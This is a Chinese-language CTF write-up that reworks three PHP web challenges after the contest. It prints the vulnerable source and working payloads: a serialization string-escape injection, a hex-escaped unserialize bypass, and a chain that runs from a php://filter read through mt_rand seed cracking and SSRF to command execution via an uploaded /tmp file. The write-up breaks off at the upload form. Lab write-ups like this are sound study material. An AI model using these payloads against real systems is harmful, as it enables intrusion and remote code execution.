太菜了,只能赛后复现复现了。
EasyUnser
这个还是很简单的,就简单说一下。只要学了反序列化字符逃逸,这个题是没有问题的。
<?php
include_once 'flag.php';
highlight_file(__FILE__);
// Security filtering function
function filter($str){
return str_replace('secure', 'secured', $str);
}
class Hacker{
public $username = 'margin';
public $password = 'margin123';
}
$h = new Hacker();
if (isset($_POST['username']) && isset($_POST['password'])){
// Security filtering
$h->username = $_POST['username'];
$c = unserialize(filter(serialize($h)));
if ($c->password === 'hacker'){
echo $flag;
}
}
先随便构造一个:
<?php
class Hacker{
public $username = 'aa';
public $password = 'hacker';
}
$h = new Hacker();
echo serialize($h);
?>
得到:
O:6:"Hacker":2:{s:8:"username";s:2:"aa";s:8:"password";s:6:"hacker";}
而我们需要的部分为:
";s:8:"password";s:6:"hacker";}
它的长度为 31。这里我们可以看到 filter函数会将 secure
替换为 secured
,使字符增加1,所以我们可以用 31个 secure
,将我们需要的字段逃逸出来,构造payload:
username=securesecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecures";s:8:"password";s:6:"hacker";}&password=a
Just Serizlize
<?php
highlight_file(__FILE__);
include 'flag.php'; // $flag = "DASCTF{xxxxx}"
$obj = $_GET['obj'];
if (preg_match('/flag/i', $obj)) {
die("?");
}
$obj = @unserialize($obj);
if ($obj->flag === 'flag') {
$obj->flag = $flag;
}
foreach ($obj as $k => $v) {
if ($k !== "flag") {
echo $v;
}
}
<?php
$obj = (object)['flag'=>'flag'];
$obj->k = &obj->flag;
echo serialize($obj);
?>
得到:O:8:"stdClass":2:{s:4:"flag";s:4:"flag";s:1:"k";R:2;}
。
用 hex 编码 flag 绕过 if($k !== "flag")
,表示字符类型的 s 大写时,会被当成16进制解析,定义一个变量取 flag 变量的地址即可得到 flag 变量的值。
O:8:"stdClass":2:{S:4:"\66lag";S:4:"\66lag";s:1:"k";R:2;}
crackme
php 变量:字母数字下划线。
所以需要绕过 变量中的.
。
用 crack[me.com
绕过这个 .
。
伪协议读取题目提示的文件,把 bingbing
带上:
crack[me.com=php://filter/read=convert.base64-encode|bingbing/resource=ssssrf.php
得到 ssssrf.php:
<?php
//next ,you can try ccccmd.php
error_reporting(0);
function curl($url){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
$num=$_GET['num'];
mt_srand(getenv('SEED'));
$r1=mt_rand();
echo $r1;//1230557482
$r2=mt_rand();
if($num==$r2){
$url=$_GET['url'];
curl($url);
}
可以 ssrf ,但是需要先绕过 $r2=mt_rand();
。
这里 mt_srand(getenv('SEED'));
设置了种子,爆破伪随机数种子,使用 php_mt_seed
。得到种子,即得到第二个随机数,ssrf。
执行生成正确的种子:
<?php
mt_srand("134196");
$r1 = mt_rand();
$r2 = mt_rand();
echo $r1."<br>";
echo $r2;
?>
//得到 396791256
得到随机种子,可以 ssrf,得到 ccccmd.php:
<?php
//now you can crack me!
error_reporting(0);
if($_SERVER['REMOTE_ADDR']==='127.0.0.1'){
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'];
if(!preg_match("/\;|\x0a|[a-z]|[0-9]|\~|\`|\\$|\^|\||\&|\%|\:|\(/i", $cmd)){
system($cmd);
}
else{
die('no way!');
}
}
}
else{
die('get out stranger!');
}
到了这里,发现普通命令被过滤了,采用上传临时文件道 /tmp
,然后通配符匹配以 sh脚本执行。
构造上传数据包:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://xxx.xxx.xxx/xxx....." methon="post" enctype="multipart/form-data">
<!--链接是打开当前题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
.